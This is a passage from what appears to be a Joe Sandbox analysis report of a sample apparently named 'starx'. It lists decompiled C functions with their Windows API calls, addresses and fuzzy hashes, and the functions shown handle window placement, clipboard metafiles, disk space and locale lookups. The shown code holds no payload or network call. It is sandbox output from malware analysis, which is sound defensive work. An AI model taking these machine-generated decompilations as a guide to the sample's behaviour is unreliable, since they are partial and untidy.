					_t45 = IsIconic( *(_t52 + 0x180));
					_t66 = _t45;
					if(_t45 != 0) {
						goto L7;
					}
					SetWindowPos( *(_t52 + 0x180), 0, _t58, _t56, _a8, _a4, 0x14);
					goto L9;
				} else {
					_t51 = _a4;
					if(_t51 ==  *((intOrPtr*)(__eax + 0x4c))) {
						return _t51;
					}
					goto L4;
				}
			}

0x00442c99
0x00442c9b
0x00442c9d
0x00442ca2
0x00442cbd
0x00442cc6
0x00442cf4
0x00442cf4
0x00442cf7
0x00442cfd
0x00442d03
0x00442d08
0x00442d0d
0x00442d0f
0x00442d11
0x00442d23
0x00442d2d
0x00442d38
0x00442d39
0x00442d3a
0x00442d3b
0x00442d47
0x00442d47
0x00442d4c
0x00442d4e
0x00000000
0x00442d59
0x00442ccf
0x00442cd4
0x00442cd6
0x00000000
0x00000000
0x00442ced
0x00000000
0x00442cb1
0x00442cb1
0x00442cb7
0x00442d64
0x00442d64
0x00000000
0x00442cb7

APIs

IsIconic.USER32 ref: 00442CCF
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00442CED
GetWindowPlacement.USER32(?,0000002C), ref: 00442D23
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00442D47

Strings

,, xrefs: 00442D11

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: e39f7dc5bf3c569797b58f630b283118f195d75df47bc5ae6357d49d1afddbd0
Instruction ID: 7417131fe7c2a99cb439f635b609f0538bae39e645c1fecc2cbf8736e10a3af4
Opcode Fuzzy Hash: e39f7dc5bf3c569797b58f630b283118f195d75df47bc5ae6357d49d1afddbd0
Instruction Fuzzy Hash: A3216271A00204ABDF14EF6DC8C199E77A8AF08314F44846AFD18EF346D7B9DD048BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0045C240, Relevance: 7.6, APIs: 5, Instructions: 59
nativewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0045C240(void* __eax) {
				int _t21;
				struct HWND__* _t36;
				void* _t40;

				_t40 = __eax;
				_t1 = _t40 + 0x30; // 0x0
				_t21 = IsIconic( *_t1);
				if(_t21 == 0) {
					E0045B928();
					_t2 = _t40 + 0x30; // 0x0
					SetActiveWindow( *_t2);
					if( *((intOrPtr*)(_t40 + 0x44)) == 0 ||  *((char*)(_t40 + 0x5b)) == 0 &&  *((char*)( *((intOrPtr*)(_t40 + 0x44)) + 0x57)) == 0 || IsWindowEnabled(E004432A4( *((intOrPtr*)(_t40 + 0x44)))) == 0) {
						_t15 = _t40 + 0x30; // 0x0
						_t21 = E0045B258( *_t15, 6, __eflags);
					} else {
						_t43 =  *((intOrPtr*)(_t40 + 0x44));
						_t36 = E004432A4( *((intOrPtr*)(_t40 + 0x44)));
						_t13 = _t40 + 0x30; // 0x0
						SetWindowPos( *_t13, _t36,  *( *((intOrPtr*)(_t40 + 0x44)) + 0x40),  *( *((intOrPtr*)(_t40 + 0x44)) + 0x44),  *(_t43 + 0x48), 0, 0x40);
						_push(0);
						_push(0xf020);
						_push(0x112);
						_t14 = _t40 + 0x30; // 0x0
						_t21 =  *_t14;
						_push(_t21);
						L004064DC();
					}
					if( *((short*)(_t40 + 0x11a)) != 0) {
						return  *((intOrPtr*)(_t40 + 0x118))();
					}
				}
				return _t21;
			}

0x0045c242
0x0045c244
0x0045c248
0x0045c24f
0x0045c257
0x0045c25c
0x0045c260
0x0045c269
0x0045c2cd
0x0045c2d0
0x0045c28c
0x0045c290
0x0045c2a2
0x0045c2a8
0x0045c2ac
0x0045c2b1
0x0045c2b3
0x0045c2b8
0x0045c2bd
0x0045c2bd
0x0045c2c0
0x0045c2c1
0x0045c2c1
0x0045c2dd
0x00000000
0x0045c2e7
0x0045c2dd
0x0045c2ef

APIs

IsIconic.USER32 ref: 0045C248
SetActiveWindow.USER32(00000000,00000000,?,?,0045C8EC), ref: 0045C260
IsWindowEnabled.USER32(00000000), ref: 0045C283
SetWindowPos.USER32(00000000,00000000,?,?,?,00000000,00000040,00000000,00000000,00000000,?,?,0045C8EC), ref: 0045C2AC
NtdllDefWindowProc_A.USER32(00000000,00000112,0000F020,00000000,00000000,00000000,?,?,?,00000000,00000040,00000000,00000000,00000000), ref: 0045C2C1

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$ActiveEnabledIconicNtdllProc_
String ID:
API String ID: 1720852555-0
Opcode ID: c7fc269c8d857a204d6c036b023de0e23ccc09e373463b3b078b4f5c93239900
Instruction ID: 068ae31fbb53550fa8063fa1f5fe072eda8fdd2a046957d9ea2ed765ced8a97c
Opcode Fuzzy Hash: c7fc269c8d857a204d6c036b023de0e23ccc09e373463b3b078b4f5c93239900
Instruction Fuzzy Hash: D6110071A00300AFDB54EEA9C9C6B9637ECAF04305F0444AABE05DF687D679E8448718

Uniqueness

Uniqueness Score: -1.00%

Function 00424910, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00424910(void* __edi, struct HWND__* _a4, signed int _a8) {
				struct _WINDOWPLACEMENT _v48;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t19;
				intOrPtr _t21;
				struct HWND__* _t23;

				_t19 = _a8;
				_t23 = _a4;
				if( *0x47f929 != 0) {
					if((_t19 & 0x00000003) == 0) {
						if(IsIconic(_t23) == 0) {
							GetWindowRect(_t23,  &(_v48.rcNormalPosition));
						} else {
							GetWindowPlacement(_t23,  &_v48);
						}
						return E00424880( &(_v48.rcNormalPosition), _t19);
					}
					return 0x12340042;
				}
				_t21 =  *0x47f904; // 0x424910
				 *0x47f904 = E00424710(1, _t19, _t21, __edi, _t23);
				return  *0x47f904(_t23, _t19);
			}

0x00424918
0x0042491b
0x00424925
0x0042494f
0x00424960
0x00424973
0x00424962
0x00424967
0x00424967
0x00000000
0x0042497d
0x00000000
0x00424951
0x0042492c
0x00424939
0x00000000

Strings

MonitorFromWindow, xrefs: 00424927

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressProc
String ID: MonitorFromWindow
API String ID: 190572456-2842599566
Opcode ID: 9eac7de8675820c4f50c106e8a23e6d362e36dee8b128f525ed9cd25faa58cf5
Instruction ID: d3a36bc08310b6964dd76ea50de2087dc68793d968df348e3978bc0cb2ff604c
Opcode Fuzzy Hash: 9eac7de8675820c4f50c106e8a23e6d362e36dee8b128f525ed9cd25faa58cf5
Instruction Fuzzy Hash: 9D01A2F16050286A8700EB68AC41AFF735CDB86314B814437FD65A7241DB2D9E8587AD

Uniqueness

Uniqueness Score: -1.00%

Function 00437104, Relevance: 6.0, APIs: 4, Instructions: 46
sleepCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437104(void* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				CHAR* _t20;
				long _t25;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t37;

				_push(0);
				_t34 = __eax;
				_push(_t37);
				_push(0x437181);
				_push( *[fs:eax]);
				 *[fs:eax] = _t37;
				E00436B64(__eax);
				_t25 = GetTickCount();
				do {
					Sleep(0);
				} while (GetTickCount() - _t25 <= 0x3e8);
				E00436764(_t34, _t25,  &_v8, 0, __edi, _t34);
				if(_v8 != 0) {
					_t20 = E00404480(_v8);
					WinHelpA( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 + 0x1c)))) + 0xc))(), _t20, 9, 0);
				}
				_pop(_t30);
				 *[fs:eax] = _t30;
				_push(0x437188);
				return E00403FC0( &_v8);
			}

0x00437107
0x0043710b
0x0043710f
0x00437110
0x00437115
0x00437118
0x0043711d
0x00437127
0x00437129
0x0043712b
0x00437137
0x00437145
0x0043714e
0x00437157
0x00437166
0x00437166
0x0043716d
0x00437170
0x00437173
0x00437180

APIs

Part of subcall function 00436B64: WinHelpA.USER32 ref: 00436B73

GetTickCount.KERNEL32 ref: 00437122
Sleep.KERNEL32(00000000,00000000,00437181,?,?,00000000,00000000,?,004370FA), ref: 0043712B
GetTickCount.KERNEL32 ref: 00437130
WinHelpA.USER32 ref: 00437166

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CountHelpTick$Sleep
String ID:
API String ID: 2438605093-0
Opcode ID: eac894190ced6947cc742118aaf223d525a99dc8ec60b7086a4f3ec29d074f51
Instruction ID: 9bdfab058b84b0dfa6abd4ac2c5243b8b591cd2b5babe7592c81eed98e3ccfe7
Opcode Fuzzy Hash: eac894190ced6947cc742118aaf223d525a99dc8ec60b7086a4f3ec29d074f51
Instruction Fuzzy Hash: 3101A771604605BFE721FB66CC42B1D72E8DB4CB04F52447BF500E62C2DA7CAE05856D

Uniqueness

Uniqueness Score: -1.00%

Function 00408454, Relevance: 6.0, APIs: 4, Instructions: 37
timefileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408454(void* __eax) {
				short _v6;
				short _v8;
				struct _FILETIME _v16;
				struct _WIN32_FIND_DATAA _v336;
				void* _t16;

				_t16 = FindFirstFileA(E00404480(__eax),  &_v336);
				if(_t16 == 0xffffffff) {
					L3:
					_v8 = 0xffffffff;
				} else {
					FindClose(_t16);
					if((_v336.dwFileAttributes & 0x00000010) != 0) {
						goto L3;
					} else {
						FileTimeToLocalFileTime( &(_v336.ftLastWriteTime),  &_v16);
						if(FileTimeToDosDateTime( &_v16,  &_v6,  &_v8) == 0) {
							goto L3;
						}
					}
				}
				return _v8;
			}

0x0040846f
0x00408477
0x004084ad
0x004084ad
0x00408479
0x0040847a
0x00408486
0x00000000
0x00408488
0x00408493
0x004084ab
0x00000000
0x00000000
0x004084ab
0x00408486
0x004084bb

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 0040846F
FindClose.KERNEL32(00000000,00000000,?), ref: 0040847A
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00408493
FileTimeToDosDateTime.KERNEL32 ref: 004084A4

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FileTime$Find$CloseDateFirstLocal
String ID:
API String ID: 2659516521-0
Opcode ID: 1c44cf71b0ee1a32516b5b12d8907a2825d8a5bb3cb0d4e09bce1a089f4c69b7
Instruction ID: 93a0803563e5f2fcb31e8201064630ef5c11244619c1dbbe89d298db61795329
Opcode Fuzzy Hash: 1c44cf71b0ee1a32516b5b12d8907a2825d8a5bb3cb0d4e09bce1a089f4c69b7
Instruction Fuzzy Hash: 1CF01272D0020DA6CB50EBE99D85ACFB3AC5F04324F5047BBB559F61D2EA3C9B144B94

Uniqueness

Uniqueness Score: -1.00%

Function 00420CC0, Relevance: 4.6, APIs: 3, Instructions: 51
fileclipboardCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00420CC0(intOrPtr* __eax, void* __ecx, void* __edx) {
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				struct tagENHMETAHEADER _v104;
				void* __ebp;
				intOrPtr _t35;
				intOrPtr* _t37;
				struct HENHMETAFILE__* _t43;
				intOrPtr _t44;

				_t37 = __eax;
				_t43 = GetClipboardData(0xe);
				if(_t43 == 0) {
					_t35 =  *0x47e768; // 0x41aa24
					E0041DD18(_t35);
				}
				E00420460(_t37);
				_t44 =  *((intOrPtr*)(_t37 + 0x28));
				 *(_t44 + 8) = CopyEnhMetaFileA(_t43, 0);
				GetEnhMetaFileHeader( *(_t44 + 8), 0x64,  &_v104);
				 *((intOrPtr*)(_t44 + 0xc)) = _v72 - _v104.rclFrame;
				 *((intOrPtr*)(_t44 + 0x10)) = _v68 - _v76;
				 *((short*)(_t44 + 0x18)) = 0;
				 *((char*)(_t37 + 0x2c)) = 1;
				 *((char*)(_t37 + 0x22)) =  *((intOrPtr*)( *_t37 + 0x24))() & 0xffffff00 | _t31 != 0x00000000;
				return  *((intOrPtr*)( *_t37 + 0x10))();
			}

0x00420cc9
0x00420cd2
0x00420cd6
0x00420cd8
0x00420cdd
0x00420cdd
0x00420ce4
0x00420ce9
0x00420cf4
0x00420d01
0x00420d0c
0x00420d15
0x00420d18
0x00420d1e
0x00420d2e
0x00420d40

APIs

GetClipboardData.USER32 ref: 00420CCD
CopyEnhMetaFileA.GDI32(00000000,00000000,0000000E), ref: 00420CEF
GetEnhMetaFileHeader.GDI32(?,00000064,?,00000000,00000000,0000000E), ref: 00420D01

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FileMeta$ClipboardCopyDataHeader
String ID:
API String ID: 1752724394-0
Opcode ID: 66f3ec8760bb15be81a868d4b1bf278cfcc42a5fc8ca0af836b020e1fe605567
Instruction ID: 6ff47ac59910578581902f12aa71ae25e56ed3430a6fcb268275ed8168832776
Opcode Fuzzy Hash: 66f3ec8760bb15be81a868d4b1bf278cfcc42a5fc8ca0af836b020e1fe605567
Instruction Fuzzy Hash: C7117C717002049FC710EFAAC881A9ABBF8EF08314F11426EE909DB256DA34EC45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0045B090, Relevance: 4.5, APIs: 3, Instructions: 33
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045B090() {
				struct tagPOINT _v12;
				void* _t5;
				long _t6;

				 *0x47fbc8 = GetCurrentThreadId();
				L5:
				_t5 =  *0x47fbcc; // 0x0
				_t6 = WaitForSingleObject(_t5, 0x64);
				if(_t6 == 0x102) {
					if( *0x47fbb8 != 0 &&  *((intOrPtr*)( *0x47fbb8 + 0x60)) != 0) {
						GetCursorPos( &_v12);
						if(E0043B334( &_v12) == 0) {
							E0045D504( *0x47fbb8);
						}
					}
					goto L5;
				}
				return _t6;
			}

0x0045b0a1
0x0045b0d1
0x0045b0d3
0x0045b0d9
0x0045b0e3
0x0045b0ab
0x0045b0b9
0x0045b0c8
0x0045b0cc
0x0045b0cc
0x0045b0c8
0x00000000
0x0045b0ab
0x0045b0e9

APIs

GetCurrentThreadId.KERNEL32 ref: 0045B09C
GetCursorPos.USER32(?,00000000,00000064), ref: 0045B0B9
WaitForSingleObject.KERNEL32(00000000,00000064), ref: 0045B0D9

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CurrentCursorObjectSingleThreadWait
String ID:
API String ID: 1359611202-0
Opcode ID: 6ecd867206d1ff085c329f0cd69e26161c4082e226b835edb0fcd9b23eb713aa
Instruction ID: eb2e58e31e3fac3dbb980cdce964ae6f63bec452246f23fd25a96404be04f615
Opcode Fuzzy Hash: 6ecd867206d1ff085c329f0cd69e26161c4082e226b835edb0fcd9b23eb713aa
Instruction Fuzzy Hash: 59F0B431504208AFDB10E759D886B4773D8EB00715F10007BE920861D3EB39A8CCC65D

Uniqueness

Uniqueness Score: -1.00%

Function 004423DC, Relevance: 3.1, APIs: 2, Instructions: 63
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004423DC(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr _v8;
				void* __ecx;
				void* _t25;
				intOrPtr* _t31;
				void* _t34;
				intOrPtr* _t37;
				void* _t45;

				_v8 = __edx;
				_t37 = __eax;
				if(( *(_v8 + 4) & 0x0000fff0) != 0xf100 ||  *((short*)(_v8 + 8)) == 0x20 ||  *((short*)(_v8 + 8)) == 0x2d || IsIconic( *(__eax + 0x180)) != 0 || GetCapture() != 0) {
					L8:
					if(( *(_v8 + 4) & 0x0000fff0) != 0xf100) {
						L10:
						return  *((intOrPtr*)( *_t37 - 0x10))();
					}
					_t25 = E0044232C(_t37, _t45);
					if(_t25 == 0) {
						goto L10;
					}
				} else {
					_t31 =  *0x47e750; // 0x47fbb8
					if(_t37 ==  *((intOrPtr*)( *_t31 + 0x44))) {
						goto L8;
					} else {
						_t34 = E00453BCC(_t37);
						_t44 = _t34;
						if(_t34 == 0) {
							goto L8;
						} else {
							_t25 = E0043DC70(_t44, 0, 0xb017, _v8);
							if(_t25 == 0) {
								goto L8;
							}
						}
					}
				}
				return _t25;
			}

0x004423e2
0x004423e5
0x004423f7
0x00442455
0x00442465
0x00442474
0x00000000
0x0044247b
0x0044246a
0x00442472
0x00000000
0x00000000
0x00442426
0x00442426
0x00442430
0x00000000
0x00442432
0x00442434
0x00442439
0x0044243d
0x00000000
0x0044243f
0x0044244c
0x00442453
0x00000000
0x00000000
0x00442453
0x0044243d
0x00442430
0x00442482

APIs

IsIconic.USER32 ref: 00442414
GetCapture.USER32 ref: 0044241D

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: 42bd13f511433f9e94810faf5cba751de108730113a56d8f995d896dd17d774a
Instruction ID: 6e162348651b7001e6a3bb8f7b98e412e39547cd9c5ece1df37e8adfaf20296d
Opcode Fuzzy Hash: 42bd13f511433f9e94810faf5cba751de108730113a56d8f995d896dd17d774a
Instruction Fuzzy Hash: 841194317002069FEB24DF6DCA8597AB3E4EF08344B644076F514DB352DBB8ED409718

Uniqueness

Uniqueness Score: -1.00%

Function 0041DDA8, Relevance: 3.0, APIs: 2, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0041DDA8(void* __ebx) {
				char _v260;
				char _v264;
				long _t21;
				void* _t22;
				intOrPtr _t27;
				void* _t32;

				_v264 = 0;
				_push(_t32);
				_push(0x41de44);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32 + 0xfffffefc;
				_t21 = GetLastError();
				if(_t21 == 0 || FormatMessageA(0x1000, 0, _t21, 0x400,  &_v260, 0x100, 0) == 0) {
					E0041DD54(_t22);
				} else {
					E00404230( &_v264, 0x100,  &_v260);
					E0040B5D8(_v264, 1);
					E004039FC();
				}
				_pop(_t27);
				 *[fs:eax] = _t27;
				_push(0x41de4b);
				return E00403FC0( &_v264);
			}

0x0041ddb4
0x0041ddbc
0x0041ddbd
0x0041ddc2
0x0041ddc5
0x0041ddcd
0x0041ddd1
0x0041de26
0x0041ddf7
0x0041de08
0x0041de1a
0x0041de1f
0x0041de1f
0x0041de2d
0x0041de30
0x0041de33
0x0041de43

APIs

GetLastError.KERNEL32(00000000,0041DE44), ref: 0041DDC8
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000400,?,00000100,00000000,00000000,0041DE44), ref: 0041DDEE

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 12ab6a5a1d31614f705b0e7f26fbb84141ae5ea55857db0de47fea015a011f05
Instruction ID: 413ec6fff0dc954c6d06e9c4b4fa027f11a7eb12b10687b0e0378b08fcba49e2
Opcode Fuzzy Hash: 12ab6a5a1d31614f705b0e7f26fbb84141ae5ea55857db0de47fea015a011f05
Instruction Fuzzy Hash: 9D01F7F0B407055BE721EF61CC82BD673ACEB58709F5140BAB644E61C1DAF8AD80891D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4C0, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040C4C0(int __eax, void* __ebx, void* __eflags) {
				char _v11;
				char _v16;
				intOrPtr _t28;
				void* _t31;
				void* _t33;

				_t33 = __eflags;
				_v16 = 0;
				_push(_t31);
				_push(0x40c524);
				_push( *[fs:edx]);
				 *[fs:edx] = _t31 + 0xfffffff4;
				GetLocaleInfoA(__eax, 0x1004,  &_v11, 7);
				E00404230( &_v16, 7,  &_v11);
				_push(_v16);
				E00408068(7, GetACP(), _t33);
				_pop(_t28);
				 *[fs:eax] = _t28;
				_push(E0040C52B);
				return E00403FC0( &_v16);
			}

0x0040c4c0
0x0040c4c9
0x0040c4ce
0x0040c4cf
0x0040c4d4
0x0040c4d7
0x0040c4e6
0x0040c4f6
0x0040c4fe
0x0040c507
0x0040c510
0x0040c513
0x0040c516
0x0040c523

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,0040C524), ref: 0040C4E6
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,0040C524), ref: 0040C4FF

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 049e0a9cf1c0d10403f3e4835f2f41bf8435daf2970e4a3681f474d75a226239
Instruction ID: e201687cf7ae3a65f09b089b5a0367903905d82f0f98daac4e1d494f250849f6
Opcode Fuzzy Hash: 049e0a9cf1c0d10403f3e4835f2f41bf8435daf2970e4a3681f474d75a226239
Instruction Fuzzy Hash: 44F0C271E04204BBEB00EBA2CC4298DB3AED789718F50C57AB110B25C0DA7C66008665

Uniqueness

Uniqueness Score: -1.00%

Function 00408606, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408606(CHAR* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				CHAR* _t25;
				int _t26;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr* _t39;
				intOrPtr* _t40;
				intOrPtr _t48;
				intOrPtr _t50;

				_t25 = _a4;
				if(_t25 == 0) {
					_t25 = 0;
				}
				_t26 = GetDiskFreeSpaceA(_t25,  &_v8,  &_v12,  &_v16,  &_v20);
				_v28 = _v8 * _v12;
				_v24 = 0;
				_t48 = _v24;
				_t31 = E00404D94(_v28, _t48, _v16, 0);
				_t39 = _a8;
				 *_t39 = _t31;
				 *((intOrPtr*)(_t39 + 4)) = _t48;
				_t50 = _v24;
				_t34 = E00404D94(_v28, _t50, _v20, 0);
				_t40 = _a12;
				 *_t40 = _t34;
				 *((intOrPtr*)(_t40 + 4)) = _t50;
				return _t26;
			}

0x0040860f
0x00408614
0x00408616
0x00408616
0x00408629
0x00408638
0x0040863b
0x00408648
0x0040864b
0x00408650
0x00408653
0x00408655
0x00408662
0x00408665
0x0040866a
0x0040866d
0x0040866f
0x00408678

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 00408629

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: cc935b245d70f9ed51a61eac8bed377b9b787c0cc291b64816bee0884b259ca3
Instruction ID: 09c9d5afb34858c52ae31f902e142c606534ea72019c96c1599191a7f2d5cff9
Opcode Fuzzy Hash: cc935b245d70f9ed51a61eac8bed377b9b787c0cc291b64816bee0884b259ca3
Instruction Fuzzy Hash: 6111D2B5E00209AFDB04CF99C981DAFF7F9EFC8304B14C569A509E7255E6319E018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0042A524, Relevance: 1.5, APIs: 1, Instructions: 41
nativeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0042A524(intOrPtr __eax, intOrPtr* __edx) {
